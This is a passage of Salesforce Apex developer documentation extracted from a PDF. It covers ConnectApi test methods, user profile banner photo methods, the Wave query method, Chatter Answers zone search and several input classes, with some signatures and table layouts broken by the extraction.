public static Void setTestGetRecentlyTalkingAboutTopicsForGroup(String communityId,
String groupId, ConnectApi.TopicPage result)
1545
Parameters
communityId
Type: String
groupId
Type: String
The ID for a group.
result
Return Value
Type: Void
SEE ALSO:
setTestGetRecentlyTalkingAboutTopicsForUser(communityId, userId, result)

Creates a topics page to use for testing. After you create the page, use the matching
ConnectApi.getRecentlyTalkingAboutTopicsForUser method to access the test page and run your tests. Use the
API Version
29.0
Signature
public static Void setTestGetRecentlyTalkingAboutTopicsForUser(String communityId,
String userId, ConnectApi.TopicPage result)
Parameters
communityId
Type: String
userId
Type: String
The ID for a user.
result
Specify the test topics page.
1546
Return Value
Type: Void
SEE ALSO:
setTestGetRelatedTopics(communityId, topicId, result)

Registers a ConnectApi.TopicPage object to be returned when the ConnectApi.getRelatedTopics method is called
in a test context.
API Version
29.0
Signature
public static Void setTestGetRelatedTopics(String communityId, String topicId,
ConnectApi.TopicPage result)
Parameters
communityId
Type: String
topicId
Type: String
The ID for a topic.
result
Return Value
Type: Void
SEE ALSO:
setTestGetTopicSuggestions(communityId, recordId, maxResults, result)

Registers a ConnectApi.TopicSuggestionPage object to be returned when the matching
ConnectApi.getTopicSuggestions method is called in a test context. Use the method with the same parameters or you
receive an exception. Use the method with the same parameters or you receive an exception.
1547
API Version
29.0
Signature
public static Void setTestGetTopicSuggestions(String communityId, String recordId,
Integer maxResults, ConnectApi.TopicSuggestionPage result)
Parameters
communityId
Type: String
recordId
Type: String
maxResults
Type: Integer
25.
result
Specify the test topic suggestions page.
Return Value
Type: Void
SEE ALSO:
setTestGetTopicSuggestions(communityId, recordId, result)

ConnectApi.getTopicSuggestions method is called in a test context. Use the method with the same parameters or you
API Version
29.0
Signature
public static Void setTestGetTopicSuggestions(String communityId, String recordId,
ConnectApi.TopicSuggestionPage result)
1548
Parameters
communityId
Type: String
recordId
Type: String
result
Return Value
Type: Void
SEE ALSO:
setTestGetTopicSuggestionsForText(communityId, text, maxResults, result)

ConnectApi.getTopicSuggestionsForText method is called in a test context. Use the method with the same parameters
API Version
29.0
Signature
public static Void setTestGetTopicSuggestionsForText(String communityId, String text,
Integer maxResults, ConnectApi.TopicSuggestionPage result)
Parameters
communityId
Type: String
text
Type: String
String of text.
maxResults
Type: Integer
1549
25.
result
Return Value
Type: Void
SEE ALSO:
setTestGetTopicSuggestionsForText(communityId, text, result)

ConnectApi.getTopicSuggestionsForText method is called in a test context. Use the method with the same parameters
API Version
29.0
Signature
public static Void setTestGetTopicSuggestionsForText(String communityId, String text,
ConnectApi.TopicSuggestionPage result)
Parameters
communityId
Type: String
text
Type: String
String of text.
result
1550
Return Value
Type: Void
SEE ALSO:
setTestGetTrendingTopics(communityId, result)
Registers a ConnectApi.TopicPage object to be returned when the matching ConnectApi.getTrendingTopics
API Version
29.0
Signature
public static Void setTestGetTrendingTopics(String communityId, ConnectApi.TopicPage
result)
Parameters
communityId
Type: String
result
Return Value
Type: Void
SEE ALSO:
setTestGetTrendingTopics(communityId, maxResults, result)

Registers a ConnectApi.TopicPage object to be returned when the matching ConnectApi.getTrendingTopics
API Version
29.0
1551
Signature
public static Void setTestGetTrendingTopics(String communityId, Integer maxResults,
ConnectApi.TopicPage result)
Parameters
communityId
Type: String
maxResults
Type: Integer
25.
result
Return Value
Type: Void
SEE ALSO:
UserProfiles Class
Access user profile data. The user profile data populates the profile page (also called the Chatter profile page). This data includes user
information (such as address, manager, and phone number), some user capabilities (permissions), and a set of subtab apps, which are
custom tabs on the profile page.
Namespace
ConnectApi
UserProfiles Methods
The following are methods for UserProfiles. All methods are static.
IN THIS SECTION:
deleteBannerPhoto(communityId, userId)
Delete a user banner photo.
1552
getBannerPhoto(communityId, userId)
Get a user banner photo.
getUserProfile(communityId, userId)
Returns the user profile of the context user.
setBannerPhoto(communityId, userId, fileId, versionNumber)
Set the user banner photo to an already uploaded file.
setBannerPhoto(communityId, userId, fileUpload)
Set the user banner photo to a file that hasn’t been uploaded.
setBannerPhotoWithAttributes(communityId, userId, bannerPhoto)
Set and crop an already uploaded file as the user banner photo.
setBannerPhotoWithAttributes(communityId, userId, bannerPhoto, fileUpload)
Set the user banner photo to a file that hasn’t been uploaded and requires cropping.
deleteBannerPhoto(communityId, userId)
Delete a user banner photo.
API Version
36.0
Requires Chatter
No
Signature
public static Void deleteBannerPhoto(String communityId, String userId)
Parameters
communityId
Type: String
1553
userId
Type: String
ID of the user.
Return Value
Type: Void
API Version
35.0
Requires Chatter
No
Signature
public static Void deletePhoto(String communityId, String userId)
Parameters
communityId
Type: String
userId
Type: String
Return Value
Type: Void
getBannerPhoto(communityId, userId)
Get a user banner photo.
API Version
36.0
Requires Chatter
No
1554
Signature
public static ConnectApi.BannerPhoto getBannerPhoto(String communityId, String userId)
Parameters
communityId
Type: String
userId
Type: String
ID of the user.
Return Value
API Version
35.0

35.0
Requires Chatter
No
Signature
public static ConnectApi.Photo getPhoto(String communityId, String userId)
Parameters
communityId
Type: String
userId
Type: String
The ID for a user.
1555
Return Value
SEE ALSO:
getUserProfile(communityId, userId)
Returns the user profile of the context user.
API Version
29.0
Requires Chatter
Yes
Signature
public static ConnectApi.UserProfile getUserProfile(String communityId, String userId)
Parameters
communityId
Type: String
userId
Type: String
The ID for a user.
Return Value
Type: ConnectApi.UserProfile
setBannerPhoto(communityId, userId, fileId, versionNumber)

Set the user banner photo to an already uploaded file.
API Version
36.0
Requires Chatter
No
1556
Signature
public static ConnectApi.BannerPhoto setBannerPhoto(String communityId, String userId,
String fileId, Integer versionNumber)
Parameters
communityId
Type: String
userId
Type: String
ID of the user.
fileId
Type: String
ID of the already uploaded file to use as the user banner. The key prefix must be 069, and the image must be smaller than 8 MB.
versionNumber
Type: Integer
Version number of the file. Specify an existing version number or, to get the latest version, specify null.
Return Value
Usage
setBannerPhoto(communityId, userId, fileUpload)

Set the user banner photo to a file that hasn’t been uploaded.
API Version
36.0
Requires Chatter
No
Signature
public static ConnectApi.BannerPhoto setBannerPhoto(String communityId, String userId,
Parameters
communityId
Type: String
1557

userId
Type: String
ID of the user.
fileUpload
Return Value
Usage
setBannerPhotoWithAttributes(communityId, userId, bannerPhoto)

Set and crop an already uploaded file as the user banner photo.
API Version
36.0
Requires Chatter
No
Signature
String userId, ConnectApi.BannerPhotoInput bannerPhoto)
Parameters
communityId
Type: String
userId
Type: String
ID of the user.
bannerPhoto
A ConnectApi.BannerPhotoInput object that specifies the ID and version of the file, and how to crop the file.
1558
Return Value
Usage
setBannerPhotoWithAttributes(communityId, userId, bannerPhoto, fileUpload)

Set the user banner photo to a file that hasn’t been uploaded and requires cropping.
API Version
36.0
Requires Chatter
No
Signature
String userId, ConnectApi.BannerPhotoInput bannerPhoto, ConnectApi.BinaryInput
fileUpload)
Parameters
communityId
Type: String
userId
Type: String
ID of the user.
bannerPhoto
A ConnectApi.BannerPhotoInput object specifying the cropping parameters.
fileUpload
Return Value
Usage
1559

API Version
35.0
Requires Chatter
No
Signature
public static ConnectApi.Photo setPhoto(String communityId, String userId, String
Parameters
communityId
Type: String
userId
Type: String
fileId
Type: String
versionNumber
Type: Integer
Return Value
Usage

API Version
35.0
1560
Requires Chatter
No
Signature
public static ConnectApi.Photo setPhoto(String communityId, String userId,
Parameters
communityId
Type: String
userId
Type: String
fileUpload
Return Value
Usage

API Version
35.0
Requires Chatter
No
Signature
Parameters
communityId
Type: String
1561

userId
Type: String
photo
Return Value
Usage

API Version
35.0
Requires Chatter
No
Signature
Parameters
communityId
Type: String
userId
Type: String
photo
fileUpload
1562
Return Value
Usage
Wave Class
Send a query string to Wave Analytics and get the results as JSON.
Namespace
ConnectApi
Usage
The Wave class is part of the Wave Analytics Apex SDK. Use the executeQuery method to pass a SAQL query from an Apex page to Wave,
and get a response in the form of JSON.
This example will send ‘your SAQL query’ to Wave:
String query = '[your SAQL query]';
ConnectApi.LiteralJson result = ConnectApi.Wave.executeQuery(query);
String response = result.json;
Also refer to the classes in the wave namespace.
Wave Methods
The following are methods for Wave. All methods are static.
IN THIS SECTION:
executeQuery(query)
Send a SAQL query string to Wave Analytics, and get a response in the form of JSON.
executeQuery(query)
Send a SAQL query string to Wave Analytics, and get a response in the form of JSON.
API Version
40.0
Requires Chatter
No
1563
Signature
public ConnectApi.LiteralJson ConnectApi.Wave.executeQuery(String query)
Parameters
query
Type: String
The SAQL query to send to Wave.
Return Value
Type: LiteralJson
Zones Class
Access information about Chatter Answers zones in your organization. Zones organize questions into logical groups, with each zone
having its own focus and unique questions.
Note: With the Spring ’18 release, Salesforce no longer supports Chatter Answers. Users of Chatter Answers won’t be able to post,
answer, comment, or view any of the existing Chatter Answers data. You have until the Spring ’18 release to complete your transition
to Chatter Questions. For more information, see Chatter Answers to Retire in Spring ’18.
Namespace
ConnectApi
Zones Methods
The following are methods for Zones. All methods are static.
IN THIS SECTION:
getZone(communityId, zoneId)
Returns a specific zone based on the zone ID.
getZones(communityId)
Returns a paginated list of zones.
getZones(communityId, pageParam, pageSize)
Returns a paginated list of zones with the specified page and page size.
searchInZone(communityId, zoneId, q, filter)
Search a zone by keyword. Specify whether to search articles or questions.
searchInZone(communityId, zoneId, q, filter, pageParam, pageSize)
Search a zone by keyword. Specify whether to search articles or questions and specify the page of information to view and the page
size.
searchInZone(communityId, zoneId, q, filter, language)
Search a zone by keyword. Specify the language of the results and specify whether to search articles or questions.
1564
getZone(communityId, zoneId)
Returns a specific zone based on the zone ID.
API Version
29.0
Requires Chatter
No
Signature
public static ConnectApi.Zone getZone(String communityId, String zoneId)
Parameters
communityId
Type: String
zoneId
Type: String
The ID of a zone.
Return Value
Type: ConnectApi.Zone
getZones(communityId)
Returns a paginated list of zones.
API Version
29.0
Requires Chatter
No
1565
Signature
public static ConnectApi.ZonePage getZones(String communityId)
Parameters
communityId
Type: String
Return Value
Type: ConnectApi.ZonePage
getZones(communityId, pageParam, pageSize)

Returns a paginated list of zones with the specified page and page size.
API Version
29.0
Requires Chatter
No
Signature
public static ConnectApi.Zone getZones(String communityId, Integer pageParam, Integer
pageSize)
Parameters
communityId
Type: String
pageParam
Type: Integer
pageSize
Type: Integer
1566
Return Value
Type: ConnectApi.ZonePage

Search a zone by keyword. Specify whether to search articles or questions.
API Version
29.0

37.0
Requires Chatter
No
Signature
public static ConnectApi.ZoneSearchPage searchInZone(String communityId, String zoneId,
String q, ConnectApi.ZoneSearchResultType filter)
Parameters
communityId
Type: String
zoneId
Type: String
zoneId—The ID of a zone.
q
Type: String
filter
Type: ConnectApi.ZoneSearchResultType
A ZoneSearchResultType enum value. One of the following:
• Article—Search results contain only articles.
• Question—Search results contain only questions.
1567
Return Value
Type: ConnectApi.ZoneSearchPage
Usage
SEE ALSO:
setTestSearchInZone(communityId, zoneId, q, filter, result)

Search a zone by keyword. Specify whether to search articles or questions and specify the page of information to view and the page
size.
API Version
29.0

37.0
Requires Chatter
No
Signature
String q, ConnectApi.ZoneSearchResultType filter, String pageParam, Integer pageSize)
Parameters
communityId
Type: String
zoneId
Type: String
q
Type: String
1568
filter
pageParam
Type: String
pageSize
Type: Integer
Return Value
Usage
SEE ALSO:
setTestSearchInZone(communityId, zoneId, q, filter, pageParam, pageSize, result)

Search a zone by keyword. Specify the language of the results and specify whether to search articles or questions.
API Version
36.0

37.0
Requires Chatter
No
1569
Signature
String q, ConnectApi.ZoneSearchResultType filter, String language)
Parameters
communityId
Type: String
zoneId
Type: String
The ID of a zone.
q
Type: String
Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.
filter
language
Type: String
The language of the articles or questions. The value must be a Salesforce supported locale code.
Return Value
Usage
SEE ALSO:
setTestSearchInZone(communityId, zoneId, q, filter, language, result)
Zones Test Methods

The following are the test methods for Zones. All methods are static.
setTestSearchInZone(communityId, zoneId, q, filter, result)

Registers a ConnectApi.ZoneSearchPage object to be returned when searchInZone(communityId, zoneId,
q, filter) is called in a test context.
1570
API Version
29.0
Signature
public static Void setTestSearchInZone(String communityId, String zoneId, String q,
ConnectApi.ZoneSearchResultType filter, ConnectApi.ZoneSearchPage result)
Parameters
communityId
Type: String
zoneId
Type: String
q
Type: String
filter
result
Return Value
Type: Void
SEE ALSO:
setTestSearchInZone(communityId, zoneId, q, filter, pageParam, pageSize, result)

q, filter, pageParam, pageSize) is called in a test context.
1571
API Version
29.0
Signature
ConnectApi.ZoneSearchResultType filter, String pageParam, Integer pageSize,
ConnectApi.ZoneSearchPage result)
Parameters
communityId
Type: String
zoneId
Type: String
q
Type: String
filter
pageParam
Type: String
pageSize
Type: Integer
result
1572
Return Value
Type: Void
SEE ALSO:
setTestSearchInZone(communityId, zoneId, q, filter, language, result)

q, filter, language) is called in a test context.
API Version
36.0
Signature
ConnectApi.ZoneSearchResultType filter, String language, ConnectApi.ZoneSearchPage
result)
Parameters
communityId
Type: String
zoneId
Type: String
The ID of a zone.
q
Type: String
Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.
filter
language
Type: String
The language of the articles or questions. The value must be a Salesforce supported locale code. In an <apex:page>, the default
value is the language of the page. Otherwise, the default value is the user's locale.
1573
result
Return Value
Type: Void
SEE ALSO:

Some ConnectApi methods take arguments that are instances of ConnectApi input classes.
Input classes are concrete unless marked abstract in this documentation. Concrete input classes have public constructors that have no
parameters.
Some methods have parameters that are typed with an abstract class. You must pass in an instance of a concrete child class for these
parameters.
Most input class properties can be set. Read-only properties are noted in this documentation.
ConnectApi.ActionLinkDefinitionInput Class
The definition of an action link. An action link is a button on a feed element. Clicking an action link can take a user to a Web page, initiate
a file download, or invoke an API call to Salesforce or to an external server. An action link includes a URL and an HTTP method, and can
include a request body and header information, such as an OAuth token for authentication. Use action links to integrate Salesforce and
third-party services into the feed so that users can take action to drive productivity and accelerate innovation.
Usage
You can use context variables in the actionUrl, headers, and requestBody properties. Use context variables to pass information
about the user who executed the action link to your server-side code. Salesforce substitutes the value when the action link is executed.
These are the available context variables:

executed.
"000000000000000000".
1574

link.
Property Type Description Required or Available Version

Optional
actionType ConnectApi. Defines the type of action link. Values are: Required 33.0
ActionLinkType • Api—The action link calls a Can be defined in an
synchronous API at the action URL. action link template.
Salesforce sets the status to
SuccessfulStatus or
FailedStatus based on the HTTP
status code returned by your server.
• ApiAsync—The action link calls an
asynchronous API at the action URL. The
action remains in a PendingStatus
state until a third party makes a request
to
/connect/action-links/actionLinkId
to set the status to
SuccessfulStatus or
FailedStatus when the
asynchronous operation is complete.
• Download—The action link
downloads a file from the action URL.
• Ui—The action link takes the user to a
web page at the action URL.
Use Ui if you need to load a page before
the user performs an action, for example, to
have the user provide input or view
something before the action happens.
Note: Invoking ApiAsync action

links from an app requires a call to
set the status. However, there isn’t
currently a way to set the status of
an action link using Apex. To set the
status, use Chatter REST API. See the
Action Link resource in the Chatter
REST API Developer Guide for more
information.
1575

Optional
actionUrl String The action link URL. For example, a Ui Required 33.0
action link URL is a Web page. A Can be defined in an
Download action link URL is a link to the action link template.
file to download. Ui and Download
action link URLs are provided to clients. An
Api or ApiAsync action link URL is a
REST resource. Api and ApiAsync
action link URLs aren’t provided to clients.
Links to Salesforce can be relative. All other
links must be absolute and start with
https://.
Tip: To avoid issues due to upgrades

or changing functionality in your API,
we recommend using a versioned
API for actionUrl, for example,
https://www.example.com/
api/v1/exampleResource.
If your API isn’t versioned, you can
use the expirationDate
property of the
ConnectApi.ActionLinkGroup
DefinitionInput class to
avoid issues due to upgrades or
changing functionality in your API.
excludedUserId String ID of a single user to exclude from Optional 33.0

performing the action. If you specify an Can be defined in an
excludedUserId, you can’t specify a action link template
userId. using the User
Visibility and
Custom User
Alias fields.
groupDefault Boolean true if this action is the default action link Optional 33.0
in the action link group; false otherwise. Can be defined in an
There can be only one default action link action link template.
per action link group. The default action link
gets distinct styling in the Salesforce UI.
headers List<ConnectApi. The request headers for the Api and Optional 33.0
RequestHeader ApiAsync action link types. Can be defined in an
Input> See Action Links Overview, Authentication, action link template.
and Security.
1576

Optional
labelKey String Key for the set of labels to show in the user Required 33.0
interface. A set includes labels for these Can be defined in an
states: NewStatus, PendingStatus, action link template.
SuccessStatus, FailedStatus. For example, if
you use the Approve key, you get these
labels: Approve, Pending, Approved, Failed.
For a complete list of keys and labels, see
Action Links Labels.
If none of the predefined labels work for
your action link, use a custom label. To use
a custom label, create an action link
template. See Create Action Link Templates.
method ConnectApi. One of these HTTP methods: Required 33.0

HttpRequest • HttpDelete—Returns HTTP 204 on Can be defined in an
Method success. Response body or output class action link template.
is empty.
• HttpGet—Returns HTTP 200 on
success.
• HttpHead—Returns HTTP 200 on
success. Response body or output class
is empty.
• HttpPatch—Returns HTTP 200 on
success or HTTP 204 if the response
body or output class is empty.
• HttpPost—Returns HTTP 201 on
Exceptions are the batch posting
resources and methods, which return
HTTP 200 on success.
• HttpPut—Return HTTP 200 on
requestBody String The request body for Api action links. Optional 33.0
Note: Escape quotation mark Can be defined in an

characters in the requestBody action link template.
value.
requires Boolean true to require the user to confirm the Required 33.0
Confirmation action; false otherwise. Can be defined in an
action link template.
1577

Optional
userId String The ID of the user who can execute the Optional 33.0
action. If not specified or null, any user Can be defined in an
can execute the action. If you specify a action link template
userId, you can’t specify an using the User
excludedUserId. Visibility and
Custom User
Alias fields.
SEE ALSO:
ConnectApi.ActionLinkGroupDefinitionInput Class
The definition of an action link group. All action links must belong to a group. Action links in a group are mutually exclusive and share
some properties. Define stand-alone actions in their own action group.
Action link definition can be sensitive to a third party (for example, OAuth bearer token headers). For this reason, only calls made from
the Apex namespace that created the action link definition can read, modify, or delete the definition. In addition, the user making the
call must have created the definition or have View All Data permission.

Optional
actionLinks List<ConnectApi. The action links that make up this group. Required to 33.0
ActionLink Within an action link group, action links are instantiate this
DefinitionInput> displayed in the order listed in the action link group
actionLinks property of the without a template.
ConnectApi.ActionLinkGroup To instantiate from a
DefinitionInput class. Within a feed template, don’t
item, action link groups are displayed in the specify a value.
order specified in the
actionLinkGroupIds property of
the
ConnectApi.AssociatedActions
CapabilityInput class.
You can create up to three action links in a
Primary group and up to four in an
Overflow group.
1578

Optional
category ConnectApi. Indicates the priority and relative locations Required to 33.0
PlatformAction of action links in an associated feed item. instantiate this
GroupCategory Values are: action link group
• Primary—The action link group is without a template.
displayed in the body of the feed To instantiate from a
element. template, don’t
• Overflow—The action link group is specify a value.
displayed in the overflow menu of the
feed element.
executions ConnectApi. Defines the number of times an action link Required to 33.0
Allowed ActionLink can be executed. Values are: instantiate this
ExecutionsAllowed • Once—An action link can be executed action link group
only once across all users. without a template.
• OncePerUser—An action link can To instantiate from a

be executed only once for each user. template, don’t
specify a value.
• Unlimited—An action link can be
executed an unlimited number of times
by each user. If the action link’s
actionType is Api or
ApiAsync, you can’t use this value.
expirationDate Datetime ISO 8601 date string, for example, Required to 33.0
2011-02-25T18:24:31.000Z, that represents instantiate this
the date and time this action link group is action link group
removed from associated feed items and without a template.
can no longer be executed. The Optional to
expirationDate must be within one instantiate from a
year of the creation date. template.
If the action link group definition includes
an OAuth token, it is a good idea to set the
expiration date of the action link group to
the same value as the expiration date of the
OAuth token so that users can’t execute the
action link and get an OAuth error.
To set a date when instantiating from a
template, see Set the Action Link Group
Expiration Time.
1579

Optional
templateBindings List<ConnectApi. A collection of key-value pairs to fill in To instantiate 33.0
ActionLinkTemplate binding variable values or a custom user without a template,
BindingInput> alias from an action link template. To don’t specify a value.
instantiate this action link group from an Required to
action link template that uses binding instantiate this
variables, you must provide values for all the action link group
variables. See Define Binding Variables. from a template that
uses binding
variables.
templateId String The ID of the action link group template To instantiate 33.0
from which to instantiate this action link without a template,
group. don’t specify a value.
Required to
instantiate this
action link group
from a template.
SEE ALSO:
ConnectApi.ActionLinkTemplateBindingInput
A key-value pair to fill in a binding variable value from an action link template.

Optional
key String The name of the binding variable key Required 33.0
specified in the action link template in
Setup. For example, if the binding variable
in the template is
{!Binding.firstName}, the key is
firstName
value String The value of the binding variable key. For Required 33.0
example, if the key is firstName, this
value could be Joan.
SEE ALSO:
1580
ConnectApi.ActivitySharingInput
Defines who a captured email or event is shared with.

Optional
groupsTo List<String> List of IDs for the groups that you share the Optional 39.0
ShareWith activity with. Valid only if sharingType
is MyGroups.
sharingType ConnectApi. Type of sharing operation. Values are: Required 39.0

Activity • Everyone—The activity is shared
SharingType with everyone.
• MyGroups—The activity is shared
only with a selection of the context
user’s groups.
• OnlyMe—The activity is private.
ConnectApi.AlternativeInput
Alternative representation for an extension on a feed element.

Optional
text String Text representation of the extension. Required 40.0
Representation
thumbnailUrl String Thumbnail URL for the extension. Optional 40.0
title String Title of the extension. Optional 40.0
ConnectApi.AnnouncementInput Class
An announcement.
Property Type Description Required or Available

Optional
body ConnectApi.Message Text of the announcement. Required for 31.0
BodyInput Class creating an
announcement if
feedItemId
isn’t specified
Don’t specify for
updating an
announcement.
1581

Optional
expirationDate Datetime The Salesforce UI displays an announcement Required for 31.0
until 11:59 p.m. on this date unless another creating an
announcement is posted first. The Salesforce announcement
UI ignores the time value in the Optional for
expirationDate. However, you can use updating an
the time value to create your own display announcement
logic in your own UI.
feedItemId String ID of an AdvancedTextPost feed item Required for 36.0

that is the body of the announcement. creating an
announcement if
body isn’t
specified
Don’t specify for
updating an
announcement.
isArchived Boolean Specifies whether the announcement is Optional 36.0

archived.
parentId String ID of the parent entity for the announcement, Required for 36.0
that is, a group ID when the announcement creating an
appears in a group. announcement if
feedItemId
isn’t specified
Don’t specify for
updating an
announcement.
sendEmails Boolean Specifies whether the announcement is sent Optional for 36.0
as an email to all group members regardless creating an
of their email setting for the group. If Chatter announcement
emails aren’t enabled for the organization, Don’t specify for
announcement emails aren’t sent. Default updating an
value is false. announcement
SEE ALSO:
ConnectApi.ArticleTopicAssignmentJobInput
An article and topic assignment job.
1582

Optional
operation ConnectApi. Specifies the type of operation to perform Required 40.0
ArticleTopicJobType on articles and topics. Values are:
• AssignTopicsToArticle—Assign
topics to articles in a data category.
• UnassignTopicsFromArticle—Unassign
topics from articles in a data category.
topicNames ConnectApi. List of topic names to assign to or unassign Required 40.0

TopicNamesInput from articles.
ConnectApi.AssociatedActionsCapabilityInput Class
A list of action link groups to associate with a feed element. To associate an action link group with a feed element, the call must be made
from the Apex namespace that created the action link definition. In addition, the user making the call must have created the definition
or have View All Data permission.

Optional
actionLink List<String> The action link group IDs to associate with Required 33.0
GroupIds the feed element. Associate one Primary
and up to 10 total action link groups to a
feed item. Action link groups are returned
in the order specified in this property.
An action link group ID is returned from a
call to ConnectApi.ActionLinks.
createActionLinkGroupDefinition
(communityId,
actionLinkGroup).
SEE ALSO:
ConnectApi.FeedElementCapabilitiesInput
ConnectApi.AudienceCriteriaInput
Recommendation audience criteria type.
This class is abstract and has no public constructor. You can make an instance only of a subclass.
Superclass for:
• ConnectApi.CustomListAudienceCriteriaInput
1583
• ConnectApi.NewUserAudienceCriteriaInput

Optional
type ConnectApi. Specifies the recommendation audience Optional 36.0
Recommendation criteria type. One of these values: If not specified,
Audience • CustomList—A custom list of users defaults to
CriteriaType makes up the audience. CustomList.
• MaxDaysInCommunity—New
community members make up the
audience.
SEE ALSO:
ConnectApi.RecommendationAudienceInput
ConnectApi.BannerPhotoInput
A banner photo.

Optional
cropHeight Integer Height of the crop rectangle in pixels. Optional 36.0
cropWidth Integer Width of the crop rectangle in pixels. Optional 36.0
cropX Integer X position of the crop rectangle from the Optional 36.0
left edge of the image in pixels. Top left is
position (0,0).
cropY Integer Y position of the crop rectangle from the Optional 36.0
top edge of the image in pixels. Top left is
position (0,0).
fileId String ID of an existing file. The key prefix must be Required 36.0
069, and the file size must be less than 8 MB.
Note: Images uploaded on the

Group page and on the User page
don’t have file IDs and therefore can’t
be used.
versionNumber Integer Version number of an existing file. If not Optional 36.0

provided, the latest version is used.
Create a ConnectApi.BinaryInput object to attach files to feed items and comments and to add repository files.
1584
The constructor is:

ConnectApi.BinaryInput(blob, contentType, filename)
The constructor takes these arguments:
Argument Type Description Available Version

blob Blob Contents of the file to be used for input 28.0
contentType String MIME type description of the content, such as image/jpg 28.0
filename String File name with the file extension, such as UserPhoto.jpg 28.0
SEE ALSO:
ConnectApi.BatchInput Class
ConnectApi.BatchInput Class
Construct a set of inputs to be passed into a method at the same time.
Use this constructor when there isn’t a binary input:
ConnectApi.BatchInput(Object input)
Use this constructor to pass one binary input:

ConnectApi.BatchInput(Object input, ConnectApi.BinaryInput binary)
Use this constructor to pass multiple binary inputs:

ConnectApi.BatchInput(Object input, List<ConnectApi.BinaryInput> binaries)
The constructors takes these parameters:
Argument Type Description Available

Version
input Object An individual input object to be used in the batch 32.0
operation. For example, for
postFeedElementBatch(), this should
be ConnectApi.FeedElementInput.
binary ConnectApi.BinaryInput A binary file to associate with the input object. 32.0
binaries List<ConnectApi.BinaryInput> A list of binary files to associate with the input 32.0
object.
SEE ALSO:
1585
ConnectApi.BookmarksCapabilityInput
Create or update a bookmark on a feed element.
This class is a subclass of ConnectApi.FeedElementCapabilityInput Class.

Optional
isBookmarked Boolean Specifies if the feed element should be No 32.0
ByCurrentUser bookmarked for the user (true) or not
(false).
SEE ALSO:
ConnectApi.CanvasAttachmentInput Class
Important: This class isn’t available in version 32.0 and later. In version 32.0 and later, use ConnectApi.CanvasCapabilityInput.
Used to attach a canvas app to a feed item.

Subclass of ConnectApi.FeedItemAttachmentInput Class
Property Type Description Available Version

description String Optional. The description of the canvas app. 29.0–31.0
developerName String The developer name (API name) of the canvas app 29.0–31.0
height String Optional. The height of the canvas app in pixels. Default height is 200 29.0–31.0
pixels.
namespacePrefix String Optional. The namespace prefix of the Developer Edition organization in 29.0–31.0
which the canvas app was created.
parameters String Optional. Parameters passed to the canvas app in JSON format. Example: 29.0–31.0
{'isUpdated'='true'}
thumbnailUrl String Optional. A URL to a thumbnail image for the canvas app. Maximum 29.0–31.0
dimensions are 120x120 pixels.
title String The title of the link used to call the canvas app. 29.0–31.0
ConnectApi.CanvasCapabilityInput
Create or update a canvas app associated with a feed element.
1586

Optional
description String A description of the canvas app. The Optional 32.0
maximum size is 255 characters.
developerName String The API name (developer name) of the Required 32.0
connected app.
height String The height of the canvas app in pixels. Optional 32.0
namespacePrefix String A unique namespace prefix for the canvas Optional 32.0
app.
parameters String JSON parameters passed to the canvas app. Optional 32.0
thumbnailUrl String A thumbnail URL to a preview image. The Optional 32.0

maximum thumbnail size is 120 pixels by
120 pixels.
title String A title for the canvas link. Required 32.0
SEE ALSO:
ConnectApi.ChatterStreamInput
A Chatter feed stream.

Optional
description String Description of the stream, up to 1,000 Optional 39.0
characters.
name String Name of the stream, up to 120 characters. Required when 39.0
creating a stream
Optional when
updating a stream
subscriptions List<ConnectApi. List of up to 25 entities whose feeds are Optional 39.0

ToAdd Stream included in the stream.
Subscription Adding an entity that is already added
Input> results in no operation. Including the same
entity in subscriptionsToAdd and
subscriptionsToRemove results in
no operation.
1587

Optional
subscriptions List<ConnectApi. List of entities whose feeds are removed Optional when 39.0
ToRemove Stream from the stream. updating a stream
Subscription Removing an entity that is already removed Not supported when
Input> results in no operation. Including the same creating a stream
entity in subscriptionsToAdd and
subscriptionsToRemove results in
no operation.
ConnectApi.ChatterGroupInput Class
Property Type Description Available

announcement String The 18-character ID of an announcement. 31.0
An announcement displays in a designated location in the
Salesforce UI until 11:59 p.m. on its expiration date, unless it’s
deleted or replaced by another announcement.
canHave Boolean true if this group allows Chatter customers, false otherwise. 29.0
ChatterGuests After this property is set to true, it cannot be set to false.
description String The “Description” section of the group. 29.0
information ConnectApi. The “Information” section of a group. If the group is private, this 28.0
Group section is visible only to members.
Information
Input
isArchived Boolean true if the group is archived, false otherwise. Defaults to 29.0
false.
isAuto Boolean true if automatic archiving is turned off for the group, false 29.0
ArchiveDisabled otherwise. Defaults to false.
name String The name of the group. 29.0
owner String The ID of the group owner. This property is available for PATCH 29.0
requests only.
1588

visibility ConnectApi. Specifies the group visibility type. 29.0
GroupVisibilityType • PrivateAccess—Only members of the group can see
posts to this group.
• PublicAccess—All users within the community can see
posts to this group.
• Unlisted—Reserved for future use.
SEE ALSO:
ConnectApi.CommentInput Class
Used to add rich comments, for example, comments that include @mentions or attachments.

Version
attachment ConnectApi.FeedItem Optional. Specifies an attachment for the comment. Valid 28.0–31.0
AttachmentInput values are:
Class • ContentAttachmentInput
• NewFileAttachmentInput
LinkAttachmentInput is not permitted for
comments.
Important: As of version 32.0, use the

capabilities property.
body ConnectApi.Message Description of message body. The body can contain up 28.0
BodyInput Class to 10,000 characters and 25 mentions. Because the
character limit can change, clients should make a
describeSObjects() call on the FeedItem or
FeedComment object and look at the length of the
Body or CommentBody field to determine the
maximum number of allowed characters.
To edit this property in a comment, use
updateComment(communityId,
commentId, comment). Editing comments is
supported in version 34.0 and later.
Rich text and inline images are supported in comment
bodies in version 35.0 and later.
1589

Version
capabilities ConnectApi. Optional. Specifies any capabilities for the comment, 32.0
CommentCapabilitiesInput such as a file attachment.
SEE ALSO:
Edit a Comment
ConnectApi.CommentCapabilitiesInput
A container for all capabilities that can be included with a comment.

Optional
content ConnectApi. Describes content added to this comment. Optional 32.0
ContentCapability
Input
SEE ALSO:
ConnectApi.ContentAttachmentInput Class
Important: This class isn’t available in version 32.0 and later. In version 32.0 and later, use ConnectApi.ContentCapabilityInput.
Used to attach existing content to a comment or feed item.


contentDocumentId String ID of the existing content. 28.0–31.0
ConnectApi.ContentCapabilityInput
Attach or update a file on a comment. Use this class to attach a new file or update a file that has already been uploaded to Salesforce.
1590
To attach or remove files from a feed post (instead of a comment) in version 36.0 and later, use ConnectApi.
FilesCapabilityInput.

Optional
content String ID of the existing content. Required for existing 32.0
DocumentId content
description String Description of the file to be uploaded. Optional 32.0
sharingOption ConnectApi. Sharing option of the file. Values are: Optional 35.0
FileSharing • Allowed—Resharing of the file is
Option allowed.
